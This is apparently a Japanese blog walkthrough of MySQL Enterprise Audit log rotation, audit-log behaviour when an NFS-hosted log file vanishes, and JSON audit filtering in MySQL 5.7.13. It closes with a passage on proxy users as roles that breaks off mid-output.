MySQL Enterprise Auditのログローテーションについての追加の手法。
合わせて、NFS上に監査ログを設定していて、万が一NFSが一時的に切れてしまった場合の挙動の確認。

1) ログサイズによる自動ローテーション
audit_log_rotate_on_size

2) mysqlutilitiesを利用したローテーション
mysqlauditadmin.exe

上記は、前回のブログ記事で紹介。
MySQL Audit Logのローテーション

今回は、CRON等で定期的に実行して、自分のカスタマイズしたいようにログをシェルでローテーションする方法です。

3) 自分でSHELLを用意して運用する方法

概要はこちらのマニュアルページで紹介しています。
https://dev.mysql.com/doc/refman/5.7/en/audit-log-logging-control.html

By default, audit_log_rotate_on_size=0 and there is no log rotation. In this case, the audit log plugin closes and reopens the log file when the audit_log_flush value changes from disabled to enabled.
If audit_log_rotate_on_size is greater than 0, setting audit_log_flush has no effect. In this case, the audit log plugin closes and reopens its log file whenever a write to the file causes its size to exceed the audit_log_rotate_on_size value.

MySQLのaudit関連設定

parameter

実際に、以下の様にSHELLを作成してログのローテーション確認してみました。
audit.logがリネームされて、新しいaudit.logファイルが再作成されています。


[root@misc01 mysql]# ls -l
合計 396
-rw-r-----. 1 mysql mysql   2813  9月 21 23:19 audit.log
-rwxr-xr-x. 1 root  root     391  9月 21 23:19 audit_log_rotate.sh
-rw-r-----. 1 mysql mysql  98304 11月 18  2015 osc_tablespace01.ibd
drwxrwxr-x. 2 mysql mysql      6  4月 29  2015 perl5
drwxrwxr-x. 2 mysql mysql   4096  4月 29  2015 ssl
-rw-r-----. 1 mysql mysql 163840  9月 19 21:43 user_tablespace01.ibd
-rw-r-----. 1 mysql mysql  65536  4月 22  2015 user_tablespace02.ibd
-rw-r-----. 1 mysql mysql  65536  4月 20  2015 user_tablespace02_8k.ibd
[root@misc01 mysql]# ./audit_log_rotate.sh 
mysql: [Warning] Using a password on the command line interface can be insecure.
[root@misc01 mysql]# ls -l
合計 400
-rw-r-----. 1 mysql mysql     47  9月 21 23:19 audit.log
-rw-r-----. 1 mysql mysql   2822  9月 21 23:19 audit_log_2016-09-21.log
-rwxr-xr-x. 1 root  root     391  9月 21 23:19 audit_log_rotate.sh
-rw-r-----. 1 mysql mysql  98304 11月 18  2015 osc_tablespace01.ibd
drwxrwxr-x. 2 mysql mysql      6  4月 29  2015 perl5
drwxrwxr-x. 2 mysql mysql   4096  4月 29  2015 ssl
-rw-r-----. 1 mysql mysql 163840  9月 19 21:43 user_tablespace01.ibd
-rw-r-----. 1 mysql mysql  65536  4月 22  2015 user_tablespace02.ibd
-rw-r-----. 1 mysql mysql  65536  4月 20  2015 user_tablespace02_8k.ibd

簡易版なので、適宜用途によって加工して利用して下さい。


[root@misc01 mysql]# cat audit_log_rotate.sh 
#!/bin/sh

#######################################
#
#    MySQL Aduit Log Rotate Shell
#
#######################################

TODAY=`date -d 'today' '+%Y-%m-%d'`
AUDIT_LOG=/home/mysql/audit_log_${TODAY}.log

# Archive and rotate audit.log
mv /home/mysql/audit.log ${AUDIT_LOG}

# Flush Audit Log for creating new log file.
mysql -u root -ppassword -e "SET GLOBAL audit_log_flush = ON;"

[root@misc01 mysql]# 


【その他、確認事項】
■ NFS上にaudit.logを配置して、運用中にNFSが切れてしまった場合の挙動の確認。

ログのローテションを確認する為に、一時的にaudit_log_rotate_on_sizeに最小限のサイズを設定しています。


root@localhost [(none)]> show variables like 'audit%';
+-----------------------------+-----------------------+
| Variable_name               | Value                 |
+-----------------------------+-----------------------+
| audit_log_buffer_size       | 1048576               |
| audit_log_connection_policy | ALL                   |
| audit_log_current_session   | OFF                   |
| audit_log_exclude_accounts  |                       |
| audit_log_file              | /home/mysql/audit.log |
| audit_log_filter_id         | 0                     |
| audit_log_flush             | OFF                   |
| audit_log_format            | NEW                   |
| audit_log_include_accounts  |                       |
| audit_log_policy            | ALL                   |
| audit_log_rotate_on_size    | 0                     |
| audit_log_statement_policy  | ALL                   |
| audit_log_strategy          | ASYNCHRONOUS          |
+-----------------------------+-----------------------+
13 rows in set (0.00 sec)

root@localhost [(none)]> set global audit_log_rotate_on_size=4096;
Query OK, 0 rows affected (0.00 sec)

root@localhost [(none)]> show variables like 'audit%';
+-----------------------------+-----------------------+
| Variable_name               | Value                 |
+-----------------------------+-----------------------+
| audit_log_buffer_size       | 1048576               |
| audit_log_connection_policy | ALL                   |
| audit_log_current_session   | OFF                   |
| audit_log_exclude_accounts  |                       |
| audit_log_file              | /home/mysql/audit.log |
| audit_log_filter_id         | 0                     |
| audit_log_flush             | OFF                   |
| audit_log_format            | NEW                   |
| audit_log_include_accounts  |                       |
| audit_log_policy            | ALL                   |
| audit_log_rotate_on_size    | 4096                  |
| audit_log_statement_policy  | ALL                   |
| audit_log_strategy          | ASYNCHRONOUS          |
+-----------------------------+-----------------------+
13 rows in set (0.01 sec)

root@localhost [(none)]> 


ログをリネームして一時的にMySQLからファイルを見えなくしています。この間にAudit対象のQueryを実行して、ローテーションサイズを超えてもadit.logが無いので監査ログは書き込まれません。


[root@misc01 mysql]# ls -l
合計 424
-rw-r-----. 1 mysql mysql    504  9月 22 21:52 audit.log
-rw-r-----. 1 mysql mysql   4466  9月 22 21:52 audit.log.14745487509667319.xml
-rw-r-----. 1 mysql mysql   4169  9月 22 21:52 audit.log.14745487651271064.xml
-rw-r-----. 1 mysql mysql   4169  9月 22 21:52 audit.log.14745487704909257.xml
-rw-r-----. 1 mysql mysql   2822  9月 21 23:19 audit_log_2016-09-21.log
-rwxr-xr-x. 1 root  root     391  9月 21 23:19 audit_log_rotate.sh
-rw-r-----. 1 mysql mysql  98304 11月 18  2015 osc_tablespace01.ibd
drwxrwxr-x. 2 mysql mysql      6  4月 29  2015 perl5
drwxrwxr-x. 2 mysql mysql   4096  4月 29  2015 ssl
-rw-r-----. 1 mysql mysql 163840  9月 19 21:43 user_tablespace01.ibd
-rw-r-----. 1 mysql mysql  65536  4月 22  2015 user_tablespace02.ibd
-rw-r-----. 1 mysql mysql  65536  4月 20  2015 user_tablespace02_8k.ibd

[root@misc01 mysql]# mv audit.log on_purpose_rename_audit.log
[root@misc01 mysql]# ls -l
合計 424
-rw-r-----. 1 mysql mysql   4466  9月 22 21:52 audit.log.14745487509667319.xml
-rw-r-----. 1 mysql mysql   4169  9月 22 21:52 audit.log.14745487651271064.xml
-rw-r-----. 1 mysql mysql   4169  9月 22 21:52 audit.log.14745487704909257.xml
-rw-r-----. 1 mysql mysql   2822  9月 21 23:19 audit_log_2016-09-21.log
-rwxr-xr-x. 1 root  root     391  9月 21 23:19 audit_log_rotate.sh
-rw-r-----. 1 mysql mysql    504  9月 22 21:52 on_purpose_rename_audit.log
-rw-r-----. 1 mysql mysql  98304 11月 18  2015 osc_tablespace01.ibd
drwxrwxr-x. 2 mysql mysql      6  4月 29  2015 perl5
drwxrwxr-x. 2 mysql mysql   4096  4月 29  2015 ssl
-rw-r-----. 1 mysql mysql 163840  9月 19 21:43 user_tablespace01.ibd
-rw-r-----. 1 mysql mysql  65536  4月 22  2015 user_tablespace02.ibd
-rw-r-----. 1 mysql mysql  65536  4月 20  2015 user_tablespace02_8k.ibd
[root@misc01 mysql]# ls -l
合計 424
-rw-r-----. 1 mysql mysql   4466  9月 22 21:52 audit.log.14745487509667319.xml
-rw-r-----. 1 mysql mysql   4169  9月 22 21:52 audit.log.14745487651271064.xml
-rw-r-----. 1 mysql mysql   4169  9月 22 21:52 audit.log.14745487704909257.xml
-rw-r-----. 1 mysql mysql   2822  9月 21 23:19 audit_log_2016-09-21.log
-rwxr-xr-x. 1 root  root     391  9月 21 23:19 audit_log_rotate.sh
-rw-r-----. 1 mysql mysql    961  9月 22 21:53 on_purpose_rename_audit.log
-rw-r-----. 1 mysql mysql  98304 11月 18  2015 osc_tablespace01.ibd
drwxrwxr-x. 2 mysql mysql      6  4月 29  2015 perl5
drwxrwxr-x. 2 mysql mysql   4096  4月 29  2015 ssl
-rw-r-----. 1 mysql mysql 163840  9月 19 21:43 user_tablespace01.ibd
-rw-r-----. 1 mysql mysql  65536  4月 22  2015 user_tablespace02.ibd
-rw-r-----. 1 mysql mysql  65536  4月 20  2015 user_tablespace02_8k.ibd
[root@misc01 mysql]# ls -l
合計 428
-rw-r-----. 1 mysql mysql   4466  9月 22 21:52 audit.log.14745487509667319.xml
-rw-r-----. 1 mysql mysql   4169  9月 22 21:52 audit.log.14745487651271064.xml
-rw-r-----. 1 mysql mysql   4169  9月 22 21:52 audit.log.14745487704909257.xml
-rw-r-----. 1 mysql mysql   2822  9月 21 23:19 audit_log_2016-09-21.log
-rwxr-xr-x. 1 root  root     391  9月 21 23:19 audit_log_rotate.sh
-rw-r-----. 1 mysql mysql   6902  9月 22 21:53 on_purpose_rename_audit.log
-rw-r-----. 1 mysql mysql  98304 11月 18  2015 osc_tablespace01.ibd
drwxrwxr-x. 2 mysql mysql      6  4月 29  2015 perl5
drwxrwxr-x. 2 mysql mysql   4096  4月 29  2015 ssl
-rw-r-----. 1 mysql mysql 163840  9月 19 21:43 user_tablespace01.ibd
-rw-r-----. 1 mysql mysql  65536  4月 22  2015 user_tablespace02.ibd
-rw-r-----. 1 mysql mysql  65536  4月 20  2015 user_tablespace02_8k.ibd

NFSの接続が戻ったと仮定して、ログを元の名前に戻す。
21:56の段階でaudit.logが無かった時のデータがaudit.log.14745489750144595.xmlに書き込まれている。
ログローテーションのサイズ(4096)をオーバーしているがデータがロストしていない事が確認出来る。
また、新規でaudit.logが作成されている。ローテーションも設定サイズできちんと行われている。
audit.logに書き込めない間は、audit_log_bufferに蓄積されているようです。


[root@misc01 mysql]# mv on_purpose_rename_audit.log audit.log
[root@misc01 mysql]# ls -l
合計 440
-rw-r-----. 1 mysql mysql   1418  9月 22 21:56 audit.log
-rw-r-----. 1 mysql mysql   4466  9月 22 21:52 audit.log.14745487509667319.xml
-rw-r-----. 1 mysql mysql   4169  9月 22 21:52 audit.log.14745487651271064.xml
-rw-r-----. 1 mysql mysql   4169  9月 22 21:52 audit.log.14745487704909257.xml
-rw-r-----. 1 mysql mysql  15594  9月 22 21:56 audit.log.14745489750144595.xml
-rw-r-----. 1 mysql mysql   2822  9月 21 23:19 audit_log_2016-09-21.log
-rwxr-xr-x. 1 root  root     391  9月 21 23:19 audit_log_rotate.sh
-rw-r-----. 1 mysql mysql  98304 11月 18  2015 osc_tablespace01.ibd
drwxrwxr-x. 2 mysql mysql      6  4月 29  2015 perl5
drwxrwxr-x. 2 mysql mysql   4096  4月 29  2015 ssl
-rw-r-----. 1 mysql mysql 163840  9月 19 21:43 user_tablespace01.ibd
-rw-r-----. 1 mysql mysql  65536  4月 22  2015 user_tablespace02.ibd
-rw-r-----. 1 mysql mysql  65536  4月 20  2015 user_tablespace02_8k.ibd
[root@misc01 mysql]# 

nfs


補足:ログに書けない間も、MySQLのステータス変数はカウントアップされている事がaudit_log_current_sizeから確認する事が出来ます。
ファイルを戻したタイミングで、ログがファイルに書き込まれ、audit_log_current_sizeは値が小さくなっている事が確認出来ます。

root@localhost [(none)]> show status like 'audit%';
+-------------------------------+-------+
| Variable_name                 | Value |
+-------------------------------+-------+
| audit_log_current_size        | 15585 |
| audit_log_event_max_drop_size | 0     |
| audit_log_events              | 1     |
| audit_log_events_buffered     | 0     |
| audit_log_events_filtered     | 0     |
| audit_log_events_lost         | 0     |
| audit_log_events_written      | 59    |
| audit_log_total_size          | 28389 |
| audit_log_write_waits         | 0     |
+-------------------------------+-------+
9 rows in set (0.00 sec)

root@localhost [(none)]> show status like 'audit%';
+-------------------------------+-------+
| Variable_name                 | Value |
+-------------------------------+-------+
| audit_log_current_size        | 1418  |
| audit_log_event_max_drop_size | 0     |
| audit_log_events              | 1     |
| audit_log_events_buffered     | 0     |
| audit_log_events_filtered     | 0     |
| audit_log_events_lost         | 0     |
| audit_log_events_written      | 62    |
| audit_log_total_size          | 29816 |
| audit_log_write_waits         | 0     |
+-------------------------------+-------+
9 rows in set (0.00 sec)

root@localhost [(none)]> 


MySQL5.7.13以降における、Enterprise Audit機能の改善

MySQL5.7.13以降で、全てのユーザー若しくは、特定ユーザーが特定のテーブルに対して行った、read,insert,update,delete処理のみを監査出来るようになりました。
フィルター作成はJSONフォーマットで定義するようです。この機能は、以前から待ち望んでいたので、嬉しい機能の一つです。

【検証バージョン】5.7.13-enterprise-commercial-advanced-log

フィルタリング詳細:
https://dev.mysql.com/doc/refman/5.7/en/audit-log-filtering.html

例) こちらは、confidentialテーブルに対してselectしたSQLだけ監査するようにフィルターしてある場合の監査ログです。
【フィルター】

root@localhost [mysql]> select * from audit_log_filter;
+------------------+---------------------------------------------------------------------------------------------------------------------------------------------------+
| NAME             | FILTER                                                                                                                                            |
+------------------+---------------------------------------------------------------------------------------------------------------------------------------------------+
| log_all          | {"filter": {"log": true}}                                                                                                                         |
| log_confidential | {"filter": {"class": {"name": "table_access", "event": {"log": {"field": {"name": "table_name.str", "value": "confidential"}}, "name": "read"}}}} |
+------------------+---------------------------------------------------------------------------------------------------------------------------------------------------+

【監査ログ】
audit

1) 以下のように書かれていたので、既にインストール済みバージョンをアンインストールしました。
If the audit_log plugin is already installed from a version of MySQL before 5.7.13,
uninstall it using this statement and then restart the server before installing the current version:

■ オプションファイルもコメントアウト


[mysqld]
#plugin-load=audit_log.so
#audit-log=FORCE_PLUS_PERMANENT

■ Uninstall作業

root@localhost [(none)]> UNINSTALL PLUGIN audit_log;
Query OK, 0 rows affected, 1 warning (0.00 sec)

root@localhost [(none)]> show warnings;
+---------+------+----------------------------------------------------+
| Level   | Code | Message                                            |
+---------+------+----------------------------------------------------+
| Warning | 1620 | Plugin is busy and will be uninstalled on shutdown |
+---------+------+----------------------------------------------------+
1 row in set (0.00 sec)

root@localhost [(none)]> exit
Bye


[root@misc02 admin]# /etc/init.d/mysql.server restart

■ ロードされていない事を確認してインストール準備完了

root@localhost [information_Schema]> select PLUGIN_NAME,PLUGIN_STATUS,PLUGIN_TYPE,LOAD_OPTION from FROM INFORMATION_SCHEMA.PLUGINS where PLUGIN_NAME like 'audit%';
Empty set (0.00 sec)

root@localhost [information_Schema]> 

■ログ
参考) 5.7.13のログを確認したら、UNINSTALL前は以下のようなログが出ていました。

[root@misc01 admin]# cat /usr/local/mysql/data/error.log | grep audit
2016-06-15T21:26:01.568228+09:00 0 [Warning] Plugin audit_log reported: 'Audit Log plugin supports a filtering, which has not been installed yet. Audit Log plugin will run in the legacy mode, which will be disabled in the next release.'
2016-06-15T21:34:11.395386+09:00 4 [Note] Shutting down plugin 'audit_log'
[root@misc01 admin]# 

2)スクリプトを利用してインストールします。(これまで、Audit Pluginを利用した事が無ければここから設定開始)

スクリプトの内容を確認すると2つのテーブルと5つのファンクション,そして、AUDIT PLUGINのインストールを行っています。テーブルはInnoDBに進もうとしているのに、なぜかMyISAMを利用していますが。。。あとユーザーのサイズ制限がなぜかVARCHAAR(16)
こちらは、後で問い合わせしてみたいと思います。
———————————————————————————-
audit_log_filter_linux_install.sqlの内容
———————————————————————————-


USE mysql;

CREATE TABLE IF NOT EXISTS audit_log_filter(NAME VARCHAR(64) BINARY NOT NULL PRIMARY KEY, FILTER JSON NOT NULL) engine= MyISAM;
CREATE TABLE IF NOT EXISTS audit_log_user(USER VARCHAR(16) BINARY NOT NULL, HOST VARCHAR(60) BINARY NOT NULL, FILTERNAME VARCHAR(64) BINARY NOT NULL, PRIMARY KEY (USER, HOST), FOREIGN KEY (FILTERNAME) REFERENCES mysql.audit_log_filter(NAME)) engine= MyISAM;

INSTALL PLUGIN audit_log SONAME 'audit_log.so';

CREATE FUNCTION audit_log_filter_set_filter RETURNS STRING SONAME 'audit_log.so';
CREATE FUNCTION audit_log_filter_remove_filter RETURNS STRING SONAME 'audit_log.so';
CREATE FUNCTION audit_log_filter_set_user RETURNS STRING SONAME 'audit_log.so';
CREATE FUNCTION audit_log_filter_remove_user RETURNS STRING SONAME 'audit_log.so';
CREATE FUNCTION audit_log_filter_flush RETURNS STRING SONAME 'audit_log.so';

SELECT audit_log_filter_flush() AS 'Result';

Installの実行
インストールスクリプトはSHAREフォルダーにあります。(WindowsとLinuxで別々なので注意して下さい)


[root@misc01 admin]# mysql -u root -p < /usr/local/mysql/share/audit_log_filter_linux_install.sql 
Enter password: 
Result
OK
[root@misc01 admin]# 


[root@misc01 admin]# mysql -u root -p -e "select PLUGIN_NAME,PLUGIN_STATUS,PLUGIN_TYPE,LOAD_OPTION FROM INFORMATION_SCHEMA.PLUGINS where PLUGIN_NAME like 'audit%'"
Enter password: 
+-------------+---------------+-------------+-------------+
| PLUGIN_NAME | PLUGIN_STATUS | PLUGIN_TYPE | LOAD_OPTION |
+-------------+---------------+-------------+-------------+
| audit_log   | ACTIVE        | AUDIT       | ON          |
+-------------+---------------+-------------+-------------+
[root@misc01 admin]# 




root@localhost [mysql]> show tables from mysql like 'audit%';
+--------------------------+
| Tables_in_mysql (audit%) |
+--------------------------+
| audit_log_filter         |
| audit_log_user           |
+--------------------------+
2 rows in set (0.00 sec)

root@localhost [mysql]> 

ここで、監査の初期設定は完了です。
これから、フィルター設定を幾つか入れて確認してみます。

3) 監査用のユーザー作成、ルール作成、ルール適用して検証してみます


root@localhost [mysql]> CREATE USER 'audit_target';
Query OK, 0 rows affected (0.00 sec)

root@localhost [mysql]> GRANT ALL ON *.* TO 'audit_target';
Query OK, 0 rows affected (0.00 sec)

root@localhost [mysql]> SELECT user, host FROM mysql.user WHERE user = 'audit_target';
+----------------+------+
| user           | host |
+----------------+------+
| audit_target   | %    |
+----------------+------+
1 row in set (0.00 sec)

root@localhost [mysql]> select * from audit_log_user;
Empty set (0.00 sec)

root@localhost [mysql]> select * from audit_log_filter;
Empty set (0.00 sec)

root@localhost [mysql]> SELECT audit_log_filter_set_filter('log_all', '{ "filter": { "log": true } }') AS 'Result';
+--------+
| Result |
+--------+
| OK     |
+--------+
1 row in set (0.00 sec)

root@localhost [mysql]> select * from audit_log_filter;
+-------------+---------------------------+
| NAME        | FILTER                    |
+-------------+---------------------------+
| log_all     | {"filter": {"log": true}} |
+-------------+---------------------------+
1 row in set (0.00 sec)

root@localhost [mysql]> SELECT audit_log_filter_set_user('audit_target@%', 'log_all') AS 'Result';
+--------+
| Result |
+--------+
| OK     |
+--------+
1 row in set (0.00 sec)

root@localhost [mysql]> select * from audit_log_user;
+----------------+------+-------------+
| USER           | HOST | FILTERNAME  |
+----------------+------+-------------+
| audit_target   | %    | log_all     |
+----------------+------+-------------+
1 row in set (0.00 sec)

root@localhost [mysql]> 

4) 別ホストから対象アカウントを利用してアクセスしてみます。


[root@misc02 admin]# mysql -h 192.168.56.113 -u audit_target
Welcome to the MySQL monitor.  Commands end with ; or \g.
Your MySQL connection id is 12
Server version: 5.7.13-enterprise-commercial-advanced-log MySQL Enterprise Server - Advanced Edition (Commercial)

Copyright (c) 2000, 2016, Oracle and/or its affiliates. All rights reserved.

Oracle is a registered trademark of Oracle Corporation and/or its
affiliates. Other names may be trademarks of their respective
owners.

Type 'help;' or '\h' for help. Type '\c' to clear the current input statement.

audit_target@192.168.56.113 [(none)]> CREATE DATABASE audit_log_test_db;
Query OK, 1 row affected (0.05 sec)

audit_target@192.168.56.113 [(none)]> USE audit_log_test_db;
Database changed

audit_target@192.168.56.113 [audit_log_test_db]> CREATE TABLE confidential (memo varchar(100));
Query OK, 0 rows affected (0.02 sec)

audit_target@192.168.56.113 [audit_log_test_db]> INSERT INTO audit_log_test_table VALUES(1);
Query OK, 1 row affected (0.02 sec)

audit_target@192.168.56.113 [audit_log_test_db]> exit
Bye
[root@misc02 admin]# 

■上記のログがAuditログに記録されませんでした。
検証したところ、USER()を見ているようでした。

注意

current_user()を認識していないのは、Bugとの回答を頂きました。
既に修正済みで、次のメンテナンスリリースでFIXされるとの事でした。
なので、MySQL5.7.14を待ちたいと思います。

FIX後は以下の様に’%’でホストを指定している場合、user()毎に作成する必要は有りません。

また、JSONで定義を作成し有効にした場合に、mysqlクライアントからの接続出来ますが、
workbenchから接続出来なくなる不具合があるようです。Bug Reportを上げたので、5.7.13で利用される場合は制限がある事をご理解下さい。
http://bugs.mysql.com/bug.php?id=81897

上記修正されました。
Audit log filtering against the user was performing comparisons against USER(), not CURRENT_USER(). (Bug #23344762)
https://dev.mysql.com/doc/relnotes/mysql/5.7/en/news-5-7-14.html


audit_target@192.168.56.113 [(none)]> select user(),current_user();
+-----------------------+------------------+
| user()                | current_user()   |
+-----------------------+------------------+
| audit_target@misc02   | audit_target@%   |
+-----------------------+------------------+
1 row in set (0.00 sec)

以下のように対象HOSTを追加しました。
追加したところ、audit_targetのAuditログが記録されている事が確認出来ました。

(例)
SELECT audit_log_filter_set_user(‘audit_target@misc02’, ‘log_all’) AS ‘Result’;


root@localhost [mysql]> select * from audit_log_user;select * from audit_log_filter;
+--------------+----------------+------------+
| USER         | HOST           | FILTERNAME |
+--------------+----------------+------------+
| audit_target | localhost      | log_all    |
| audit_target | %              | log_all    |
| audit_target | 192.168.56.109 | log_all    |
| audit_target | misc02         | log_all    |
+--------------+----------------+------------+
4 rows in set (0.00 sec)

root@localhost [mysql]> 

5) 基本的な機能は確認出来たので、ユーザー、テーブル、DMLの種類によるフィルタリングを確認してみます。
※ 全ての処理はもちろん取得し記録出来るので、特定のオブジェクトに対しての特定の処理のみを確認しています。

ここではユーザーを作成して、confidentialテーブルへのREAD(select)のみをログに記録する設定をしています。
READのみなので、INSERTはここでは取得していません。


root@localhost [mysql]> select * from audit_log_user;select * from audit_log_filter;
+--------------+----------------+------------+
| USER         | HOST           | FILTERNAME |
+--------------+----------------+------------+
| audit_target | localhost      | log_all    |
| audit_target | %              | log_all    |
| audit_target | 192.168.56.109 | log_all    |
| audit_target | misc02         | log_all    |
+--------------+----------------+------------+
4 rows in set (0.00 sec)

root@localhost [mysql]> SELECT audit_log_filter_set_filter('log_confidential', '{ "filter": { "class": { "name": "table_access","event": { "name": "read","log": { "field": { "name": "table_name.str","value": "confidential" } } } } } }');
+-----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+
| audit_log_filter_set_filter('log_confidential', '{ "filter": { "class": { "name": "table_access","event": { "name": "read","log": { "field": { "name": "table_name.str","value": "confidential" } } } } } }') |
+-----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+
| OK                                                                                                                                                                                                              |
+-----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+
1 row in set (0.01 sec)

audit_target@localhost [mysql]> 


root@localhost [mysql]> CREATE USER confidential@'%';
Query OK, 0 rows affected (0.00 sec)

root@localhost [mysql]> alter user confidential@'%' identified by 'password';
Query OK, 0 rows affected (0.00 sec)

root@localhost [mysql]> GRANT ALL ON *.* TO 'confidential'@'%';
Query OK, 0 rows affected (0.00 sec)

root@localhost [mysql]> SELECT audit_log_filter_set_user('confidential@%','log_confidential');
+----------------------------------------------------------------+
| audit_log_filter_set_user('confidential@%','log_confidential') |
+----------------------------------------------------------------+
| OK                                                             |
+----------------------------------------------------------------+
1 row in set (0.00 sec)

root@localhost [mysql]> SELECT audit_log_filter_set_user('confidential@localhost','log_confidential');
+------------------------------------------------------------------------+
| audit_log_filter_set_user('confidential@localhost','log_confidential') |
+------------------------------------------------------------------------+
| OK                                                                     |
+------------------------------------------------------------------------+
1 row in set (0.00 sec)

root@localhost [mysql]>  SELECT audit_log_filter_set_user('confidential@192.168.56.109','log_confidential');
+-----------------------------------------------------------------------------+
| audit_log_filter_set_user('confidential@192.168.56.109','log_confidential') |
+-----------------------------------------------------------------------------+
| OK                                                                          |
+-----------------------------------------------------------------------------+
1 row in set (0.00 sec)

root@localhost [mysql]> SELECT audit_log_filter_set_user('confidential@misc02','log_confidential');
+---------------------------------------------------------------------+
| audit_log_filter_set_user('confidential@misc02','log_confidential') |
+---------------------------------------------------------------------+
| OK                                                                  |
+---------------------------------------------------------------------+
1 row in set (0.00 sec)

root@localhost [mysql]> select * from audit_log_filter;
+------------------+---------------------------------------------------------------------------------------------------------------------------------------------------+
| NAME             | FILTER                                                                                                                                            |
+------------------+---------------------------------------------------------------------------------------------------------------------------------------------------+
| log_all          | {"filter": {"log": true}}                                                                                                                         |
| log_confidential | {"filter": {"class": {"name": "table_access", "event": {"log": {"field": {"name": "table_name.str", "value": "confidential"}}, "name": "read"}}}} |
+------------------+---------------------------------------------------------------------------------------------------------------------------------------------------+
2 rows in set (0.00 sec)

root@localhost [mysql]> select * from audit_log_user;
+--------------+----------------+------------------+
| USER         | HOST           | FILTERNAME       |
+--------------+----------------+------------------+
| audit_target | localhost      | log_all          |
| audit_target | %              | log_all          |
| audit_target | 192.168.56.109 | log_all          |
| audit_target | misc02         | log_all          |
| confidential | %              | log_confidential |
| confidential | localhost      | log_confidential |
| confidential | 192.168.56.109 | log_confidential |
| confidential | misc02         | log_confidential |
+--------------+----------------+------------------+
8 rows in set (0.00 sec)

root@localhost [mysql]> 

6) 上記コマンドを実行して、別ホストからアクセスしてログを確認してみました。
Select -> Insert -> Selectの順番でログを確認しています。


confidential@192.168.56.113 [Audit]> select * from confidential;
Empty set (0.00 sec)

confidential@192.168.56.113 [Audit]> insert into confidential(memo) values('秘密の情報');
Query OK, 1 row affected (0.01 sec)

confidential@192.168.56.113 [Audit]> select * from confidential;
+-----------------+
| memo            |
+-----------------+
| 秘密の情報      |
+-----------------+
1 row in set (0.01 sec)

confidential@192.168.56.113 [Audit]> 

audit.logの中身を確認してみると。
きちんと設定したテーブルに対しての参照処理のみ記録されている事が確認出来ました。


 <AUDIT_RECORD>>
  <TIMESTAMP>2016-06-16T03:09:53 UTC</TIMESTAMP>
  <RECORD_ID>87435_2016-06-16T02:35:04</RECORD_ID>
  <NAME>TableRead</NAME>
  <CONNECTION_ID>6</CONNECTION_ID>
  <USER>confidential[confidential] @ misc02 [192.168.56.109]</USER>
  <OS_LOGIN/>
  <HOST>misc02</HOST>
  <IP>192.168.56.109</IP>
  <COMMAND_CLASS>select</COMMAND_CLASS>
  <SQLTEXT>select * from confidential</SQLTEXT>
  <DB>Audit</DB>
  <TABLE>confidential</TABLE>
 </AUDIT_RECORD>
 <AUDIT_RECORD>
  <TIMESTAMP>2016-06-16T03:10:12 UTC</TIMESTAMP>
  <RECORD_ID>87436_2016-06-16T02:35:04</RECORD_ID>
  <NAME>TableRead</NAME>
  <CONNECTION_ID>6</CONNECTION_ID>
  <USER>confidential[confidential] @ misc02 [192.168.56.109]</USER>
  <OS_LOGIN/>
  <HOST>misc02</HOST>
  <IP>192.168.56.109</IP>
  <COMMAND_CLASS>select</COMMAND_CLASS>
  <SQLTEXT>select * from confidential</SQLTEXT>
  <DB>Audit</DB>
  <TABLE>confidential</TABLE>
 </AUDIT_RECORD>

fixed

これまでより、断然監査がし易くなっているので是非検証してみて下さい。
トライアル(試用版)ダウンロード: https://www-jp.mysql.com/trials/

Enterprise Monitorも合わせて検証するとAudit Logの状況がリアルタイムで可視化出来ます。(閾値を超えたら、メールかSNMPで管理者に連絡)
index

indexlog

参考)
https://dev.mysql.com/doc/refman/5.7/en/audit-log-installation.html
http://mysqlserverteam.com/mysql-5-7-new-audit-log-filtering-feature-part-1/


Toddさんのブログにも書いてありますが、MySQL5.7.7からMySQL Proxy Userを利用する事により、
特定のアクセス権限を纏めて、管理する事が出来るようになりました。
複数ユーザー権限をまとめて管理出来るような、ROLEの様な機能になります。

Emulating roles with expanded proxy user

主なメリットとしては、Proxy User(Role)に権限を纏めて付与して、
それぞれの個人アカウントにProxy Userの権限を付与する事により、個別のアカウントに権限を付与しなくても、
まとめて権限管理が出来るので権限付与漏れが無くなる、個別権限付与の手間が省ける、それぞれが個別にアカウントを
継続利用可能なので、共通アカウントを利用しなくても良いのでセキュリティ上管理し易いと言った事が考えられます。
反対に、もし間違えてProxyユーザーから権限を削除してしまったり、余計に権限を付与してしまうと全体に影響が出るので注意が必要です。

検証バージョン


root@localhost [mysql]>select @@version;
+--------------+
| @@version    |
+--------------+
| 5.7.7-rc-log |
+--------------+
1 row in set (0.00 sec)

root@localhost [mysql]>

GRANT PROXY ON 代表ユーザー to 対象ユーザー; で権限を付与
ここでは、proxy_base@localhostが持っている権限をadmin_1@localhostとadmin_2@localhostに付与しています。


root@localhost [mysql]> CREATE USER proxy_base@localhost;
Query OK, 0 rows affected (0.00 sec)

root@localhost [mysql]> CREATE USER admin_1@localhost;
Query OK, 0 rows affected (0.00 sec)

root@localhost [mysql]> CREATE USER admin_2@localhost;
Query OK, 0 rows affected (0.00 sec)

root@localhost [mysql]> GRANT PROXY ON proxy_base@localhost TO admin_1@localhost;
Query OK, 0 rows affected (0.07 sec)

root@localhost [mysql]> GRANT PROXY ON proxy_base@localhost TO admin_2@localhost;
Query OK, 0 rows affected (0.00 sec)

root@localhost [mysql]> GRANT SELECT ON USER01.* TO proxy_base@localhost; 
Query OK, 0 rows affected (0.00 sec)

root@localhost [mysql]> GRANT DELETE ON USER01.* TO proxy_base@localhost;
Query OK, 0 rows affected (0.00 sec)

root@localhost [USER01]>

grants_proxy_user

admin_1がproxy_baseユーザーの持っている権限を実行する事が可能。

[root@misc01 admin]# /usr/local/mysql/bin/mysql -u admin_1 -p
Enter password: 
Welcome to the MySQL monitor.  Commands end with ; or \g.
Your MySQL connection id is 2
Server version: 5.7.7-rc-log MySQL Community Server (GPL)

Copyright (c) 2000, 2015, Oracle and/or its affiliates. All rights reserved.

Oracle is a registered trademark of Oracle Corporation and/or its
affiliates. Other names may be trademarks of their respective
owners.

Type 'help;' or '\h' for help. Type '\c' to clear the current input statement.

admin_1@localhost [(none)]> SELECT USER(), CURRENT_USER(), @@session.proxy_user;
+-------------------+----------------------+-----------------------+
| USER()            | CURRENT_USER()       | @@session.proxy_user  |
+-------------------+----------------------+-----------------------+
| admin_1@localhost | proxy_base@localhost | 'admin_1'@'localhost' |
